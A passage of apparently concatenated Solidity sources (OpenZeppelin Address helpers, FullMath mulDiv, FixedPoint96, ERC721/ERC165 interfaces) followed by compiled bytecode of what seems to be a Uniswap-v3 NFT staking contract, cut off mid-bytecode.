{xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = (type(uint256).max - denominator + 1) & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../ERC165/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106104dd5760003560e01c80638980f11f11610286578063cc2abd641161016b578063e9f2838e116100e3578063f2a8d34911610097578063fe082ada1161007c578063fe082ada14610b54578063fee2eae614610b81578063fff6cae914610b8957600080fd5b8063f2a8d34914610b3e578063fce6fd1314610b4757600080fd5b8063ee89e02f116100c8578063ee89e02f14610aff578063f12f144714610b22578063f288baf614610b3557600080fd5b8063e9f2838e14610ae2578063ebe2b12b14610af657600080fd5b8063d9f96e8d1161013a578063dc6663c71161011f578063dc6663c714610ab2578063e01f62bf14610ad2578063e1ba95d214610ada57600080fd5b8063d9f96e8d14610a73578063dbf0b3fe14610aa957600080fd5b8063cc2abd6414610a3c578063cd3daf9d14610a4f578063cdc82e8014610a57578063d42fc9b414610a6057600080fd5b80639c5303eb116101fe578063bdacb303116101cd578063c69fd222116101b2578063c69fd22214610a00578063c8f33c9114610a20578063cc1a378f14610a2957600080fd5b8063bdacb303146109cd578063c126d1aa146109e057600080fd5b80639c5303eb14610996578063a2217bc5146109a9578063b94c4dcb146109b1578063bbb781cc146109ba57600080fd5b80639393bb7f116102555780639637927f1161023a5780639637927f1461094957806396f66e6d1461095b5780639b8c15a81461096857600080fd5b80639393bb7f1461090f578063941d9f651461093657600080fd5b80638980f11f1461088e5780638bad86a7146108a15780638da5cb5b146108cf57806392ad4159146108ef57600080fd5b80633d18b912116103c7578063666b9cb81161033f578063803d0bdc116102f3578063819d4cc6116102d8578063819d4cc614610855578063847370291461086857806388760dca1461087b57600080fd5b8063803d0bdc1461083a57806380faa57d1461084d57600080fd5b80636e27cef9116103245780636e27cef914610816578063721eb9c51461081f57806379ba50971461083257600080fd5b8063666b9cb8146107f05780636ce46bc31461080357600080fd5b8063575959bf116103965780635e415e691161037b5780635e415e691461079b578063646609cd146107c857806364f2c060146107e857600080fd5b8063575959bf1461074a5780635c1e11c51461075d57600080fd5b80633d18b912146106fc5780634fd2b5361461070457806352732bc81461071757806353a47bb71461072a57600080fd5b806328ef934e1161045a578063323331ca1161042957806336f89af21161040e57806336f89af214610678578063377be651146106ae578063386a9525146106f357600080fd5b8063323331ca1461065057806332d342b71461066557600080fd5b806328ef934e146105ee5780632c0c2a0a146106015780632ca1a8951461061457806331ca208c1461061d57600080fd5b80631627540c116104b157806317b18c891161049657806317b18c89146105c05780631b3e870a146105d35780631c1f78eb146105e657600080fd5b80631627540c146105a3578063169d27ef146105b857600080fd5b80628cc262146104e25780630d7bac4f14610508578063144e80341461051b578063150b7a021461053b575b600080fd5b6104f56104f03660046156cc565b610b91565b6040519081526020015b60405180910390f35b6104f5610516366004615921565b610c31565b6104f56105293660046156cc565b60146020526000908152604090205481565b610572610549366004615720565b7f150b7a0200000000000000000000000000000000000000000000000000000000949350505050565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020016104ff565b6105b66105b13660046156cc565b610c8a565b005b6105b6610db0565b6105b66105ce366004615975565b610eba565b6105b66105e13660046156cc565b610f40565b6104f561120a565b6105b66105fc366004615842565b611228565b6104f561060f3660046156cc565b611368565b6104f560095481565b61064061062b3660046156cc565b601f6020526000908152604090205460ff1681565b60405190151581526020016104ff565b60205461064090640100000000900460ff1681565b6105b6610673366004615921565b611482565b6104f56106863660046156cc565b73ffffffffffffffffffffffffffffffffffffffff1660009081526019602052604090205490565b6012546106ce9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016104ff565b6104f5600a5481565b6104f5611579565b6104f56107123660046156cc565b611674565b6105b66107253660046156cc565b611691565b6001546106ce9073ffffffffffffffffffffffffffffffffffffffff1681565b6105b6610758366004615817565b611789565b61077061076b366004615951565b6118c1565b6040805194151585526020850193909352600291820b928401929092520b60608201526080016104ff565b6011546106ce906901000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1681565b6107db6107d63660046156cc565b611cfd565b6040516104ff9190615b6b565b6017546104f5565b6106ce6107fe366004615921565b611d76565b6105b66108113660046159b9565b611dad565b6104f5600d5481565b61064061082d3660046156e8565b61205a565b6105b66120d7565b6105b6610848366004615951565b612222565b6104f56122fe565b6105b6610863366004615817565b61230c565b6105b6610876366004615975565b612571565b6105b66108893660046158e2565b6127c9565b6105b661089c366004615817565b612910565b6108b46108af3660046156cc565b612aff565b604080519384526020840192909252908201526060016104ff565b6000546106ce9073ffffffffffffffffffffffffffffffffffffffff1681565b6109026108fd3660046156cc565b612ce0565b6040516104ff9190615adf565b601154610923906301000000900460020b81565b60405160029190910b81526020016104ff565b6105b66109443660046156cc565b612db5565b60205461064090610100900460ff1681565b6011546109239060020b81565b6106406109763660046156e8565b601e60209081526000928352604080842090915290825290205460ff1681565b6105b66109a43660046156cc565b612ed2565b6105b66130d4565b6104f5600c5481565b6020546106409062010000900460ff1681565b6105b66109db3660046156cc565b6131cf565b6104f56109ee3660046156cc565b60156020526000908152604090205481565b6004546106ce9073ffffffffffffffffffffffffffffffffffffffff1681565b6104f560085481565b6105b6610a37366004615921565b6132df565b6105b6610a4a366004615898565b61349f565b6104f5613602565b6104f5600b5481565b6104f5610a6e3660046156cc565b613659565b6104f5610a813660046156cc565b73ffffffffffffffffffffffffffffffffffffffff1660009081526018602052604090205490565b6104f560135481565b6006546106ce9073ffffffffffffffffffffffffffffffffffffffff1681565b6016546104f5565b6105b66137f7565b602054610640906301000000900460ff1681565b6104f560075481565b610640610b0d3660046156cc565b601c6020526000908152604090205460ff1681565b6105b6610b303660046156cc565b6138fa565b6104f5600f5481565b6104f5600e5481565b6020546106409060ff1681565b601154610b6d906601000000000000900462ffffff1681565b60405162ffffff90911681526020016104ff565b6105b6613a80565b6105b6613a94565b600080610b9c613602565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260156020908152604080832054601490925290912054919250610c2a91610c2490670de0b6b3a764000090610c1e90610bf2908790613b07565b73ffffffffffffffffffffffffffffffffffffffff891660009081526019602052604090205490613b49565b90613ac5565b90613bfe565b9392505050565b600080610c73610c64600c54610c1e610c5d670de0b6b3a7640000600b54613b0790919063ffffffff16565b8790613b49565b670de0b6b3a764000090613bfe565b9050600b54811115610c845750600b545b92915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610d36576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4f6e6c792074686520636f6e7472616374206f776e6572206d6179207065726660448201527f6f726d207468697320616374696f6e000000000000000000000000000000000060648201526084015b60405180910390fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83169081179091556040519081527f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce22906020015b60405180910390a150565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610ded575060065473ffffffffffffffffffffffffffffffffffffffff1633145b610e79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b426008819055600a54610e8c9190613bfe565b6007556040517fb5cfe3ccd03847076864f081609024cbc2eb98c38da4d8b2cebe9479a9a1ef3790600090a1565b600280541415610f26576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610d2d565b60028055610f373380848442613c77565b50506001600255565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610f7d575060065473ffffffffffffffffffffffffffffffffffffffff1633145b611009576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601c602052604090205460ff16151560011461109d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f6164647265737320646f65736e277420657869737420616c72656164790000006044820152606401610d2d565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601c6020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690555b601d54811015611206578173ffffffffffffffffffffffffffffffffffffffff16601d8281548110611144577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff1614156111f4576000601d82815481106111a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b806111fe81615ce1565b9150506110e9565b5050565b6000611223600a54600954613b4990919063ffffffff16565b905090565b60205460ff161515600114611299576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f436f6e7472616374206973206e6f7420696e206d6967726174696f6e000000006044820152606401610d2d565b6112a3843361205a565b611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604c60248201527f6d73672e73656e6465722069732065697468657220616e20696e76616c69642060448201527f6d69677261746f72206f7220746865207374616b657220686173206e6f74206160648201527f7070726f766564207468656d0000000000000000000000000000000000000000608482015260a401610d2d565b6113628433858585613c77565b50505050565b60008061137483611674565b90508015611479576003546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff858116600483015260009261143b928592610c1e92670de0b6b3a7640000929116906370a082319060240160206040518083038186803b1580156113fd57600080fd5b505afa158015611411573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114359190615939565b90613b49565b90506000611460670de0b6b3a7640000610c1e600f5485613b4990919063ffffffff16565b9050600f548111156114715750600f545b949350505050565b50600092915050565b6002805414156114ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610d2d565b600280556020546301000000900460ff1615611566576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f5769746864726177616c732061726520706175736564000000000000000000006044820152606401610d2d565b61157133338361419c565b506001600255565b60006002805414156115e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610d2d565b60028055602054640100000000900460ff1615611660576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5265776172647320636f6c6c656374696f6e20697320706175736564000000006044820152606401610d2d565b61166a33336146a5565b9050600160025590565b6000610c84670de0b6b3a7640000610c1e600e5461143586613659565b336000908152601e6020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff161515600114611730576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4164647265737320646f65736e277420657869737420616c72656164790000006044820152606401610d2d565b336000908152601e6020908152604080832073ffffffffffffffffffffffffffffffffffffffff9490941683529290522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b60205460ff1615156001146117fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f436f6e7472616374206973206e6f7420696e206d6967726174696f6e000000006044820152606401610d2d565b611804823361205a565b6118b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604c60248201527f6d73672e73656e6465722069732065697468657220616e20696e76616c69642060448201527f6d69677261746f72206f7220746865207374616b657220686173206e6f74206160648201527f7070726f766564207468656d0000000000000000000000000000000000000000608482015260a401610d2d565b61120682338361419c565b600080600080600080600080600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166399fbab888d6040518263ffffffff1660e01b815260040161192d91815260200190565b6101806040518083038186803b15801561194657600080fd5b505afa15801561195a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061197e91906159e4565b505050506fffffffffffffffffffffffffffffffff169750975097509750975097505050600099508098508a15611c3d5760115473ffffffffffffffffffffffffffffffffffffffff87811669010000000000000000009092041614611a40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f556e697377617020746f6b656e3020696e636f727265637400000000000000006044820152606401610d2d565b60125473ffffffffffffffffffffffffffffffffffffffff868116911614611ac4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f556e697377617020746f6b656e3120696e636f727265637400000000000000006044820152606401610d2d565b60115462ffffff85811666010000000000009092041614611b41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e69737761702066656520696e636f727265637400000000000000000000006044820152606401610d2d565b601154600290810b810b9084900b1215611bb7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e6973776170207469636b4c6f77657220697320746f6f206c6f77000000006044820152606401610d2d565b60115463010000009004600290810b810b9083900b1315611c34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f556e6973776170207469636b557070657220697320746f6f20686967680000006044820152606401610d2d565b60019950611cee565b60115473ffffffffffffffffffffffffffffffffffffffff878116690100000000000000000090920416148015611c8e575060125473ffffffffffffffffffffffffffffffffffffffff8681169116145b8015611cad575060115462ffffff858116660100000000000090920416145b8015611cc55750601154600290810b810b9084900b12155b8015611ce4575060115463010000009004600290810b810b9083900b13155b15611cee57600199505b50979a96995097505050505050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601a6020908152604091829020805483518184028101840190945280845260609392830182828015611d6a57602002820191906000526020600020905b815481526020019060010190808311611d56575b50505050509050919050565b601d8181548110611d8657600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60005473ffffffffffffffffffffffffffffffffffffffff16331480611dea575060065473ffffffffffffffffffffffffffffffffffffffff1633145b611e76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b670de0b6b3a7640000831015611f0e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f4d756c7469706c696572206d7573742062652067726561746572207468616e2060448201527f6f7220657175616c20746f2031653138000000000000000000000000000000006064820152608401610d2d565b60008111611f9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f766546585320706374206d6178206d757374206265206772656174657220746860448201527f616e2030000000000000000000000000000000000000000000000000000000006064820152608401610d2d565b600b839055600f829055600e8190556040518281527fc9d56ccdd6b954d8d74700db074cc667054f8e33c1b8d23e97021d4c588a87619060200160405180910390a17f56a7f617180f6beea050b873366dccd22ab6564e9a4c921b9be53a4af4e9bcc8600b5460405161201291815260200190565b60405180910390a17fce426dd9202a2e5a80566b295160d3891cadf200ec0b6a326ce9894fe7f26030600e5460405161204d91815260200190565b60405180910390a1505050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601c602052604081205460ff1661208f57506000610c84565b73ffffffffffffffffffffffffffffffffffffffff8084166000908152601e602090815260408083209386168352929052205460ff1615156001141561147957506001610c84565b60015473ffffffffffffffffffffffffffffffffffffffff16331461217e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f596f75206d757374206265206e6f6d696e61746564206265666f726520796f7560448201527f2063616e20616363657074206f776e65727368697000000000000000000000006064820152608401610d2d565b6000546001546040805173ffffffffffffffffffffffffffffffffffffffff93841681529290911660208301527fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c910160405180910390a160018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60005473ffffffffffffffffffffffffffffffffffffffff1633148061225f575060065473ffffffffffffffffffffffffffffffffffffffff1633145b6122eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b6009829055801561120657611206613a94565b600061122342600754614961565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612349575060065473ffffffffffffffffffffffffffffffffffffffff1633145b6123d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b60205460ff1661248a5760055473ffffffffffffffffffffffffffffffffffffffff8381169116141561248a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f43616e6e6f74207769746864726177207374616b696e6720746f6b656e73207560448201527f6e6c657373206d6967726174696f6e206973206f6e00000000000000000000006064820152608401610d2d565b6000546040517f42842e0e00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff918216602482015260448101839052908316906342842e0e90606401600060405180830381600087803b15801561250457600080fd5b505af1158015612518573d6000803e3d6000fd5b50506040805173ffffffffffffffffffffffffffffffffffffffff86168152602081018590527f57519b6a0997d7d44511836bcee0a36871aa79d445816f6c464abb0cd9d3f3e893500190505b60405180910390a15050565b60005473ffffffffffffffffffffffffffffffffffffffff163314806125ae575060065473ffffffffffffffffffffffffffffffffffffffff1633145b61263a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b60018210156126cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603660248201527f4d756c7469706c696572204d61782054696d65206d757374206265206772656160448201527f746572207468616e206f7220657175616c20746f2031000000000000000000006064820152608401610d2d565b600181101561275c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603660248201527f4d756c7469706c696572204d696e2054696d65206d757374206265206772656160448201527f746572207468616e206f7220657175616c20746f2031000000000000000000006064820152608401610d2d565b600c829055600d8190556040518281527f74fa102aff6c8f2f6340638f052d9364a1c84bbe95ef31eed189e87e357551da9060200160405180910390a16040518181527f53f6493eec470b97db35629d432373ea4232ee1505f5ff961b2ece5b5d92b81390602001612565565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612806575060065473ffffffffffffffffffffffffffffffffffffffff1633145b612892576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b6011805462ffffff9283166601000000000000027fffffffffffffffffffffffffffffffffffffffffffffff000000ffffffffffff600295860b85166301000000027fffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000009093169690950b909316949094179390931791909116179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633148061294d575060065473ffffffffffffffffffffffffffffffffffffffff1633145b6129d9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b60205460ff16612a8e5760055473ffffffffffffffffffffffffffffffffffffffff83811691161415612a8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f43616e6e6f74207769746864726177207374616b696e6720746f6b656e73207560448201527f6e6c657373206d6967726174696f6e206973206f6e00000000000000000000006064820152608401610d2d565b600054612ab390839073ffffffffffffffffffffffffffffffffffffffff1683614977565b6040805173ffffffffffffffffffffffffffffffffffffffff84168152602081018390527f55350610fe57096d8c0ffa30beede987326bccfcb0b4415804164d0dd50ce8b19101612565565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601960205260408120549080612b3084611368565b73ffffffffffffffffffffffffffffffffffffffff851660009081526010602052604081205491935090612b6c90600290610c1e908690613bfe565b90506000915060005b73ffffffffffffffffffffffffffffffffffffffff86166000908152601b6020526040902054811015612cd75773ffffffffffffffffffffffffffffffffffffffff86166000908152601b60205260408120805483908110612c00577f4e487b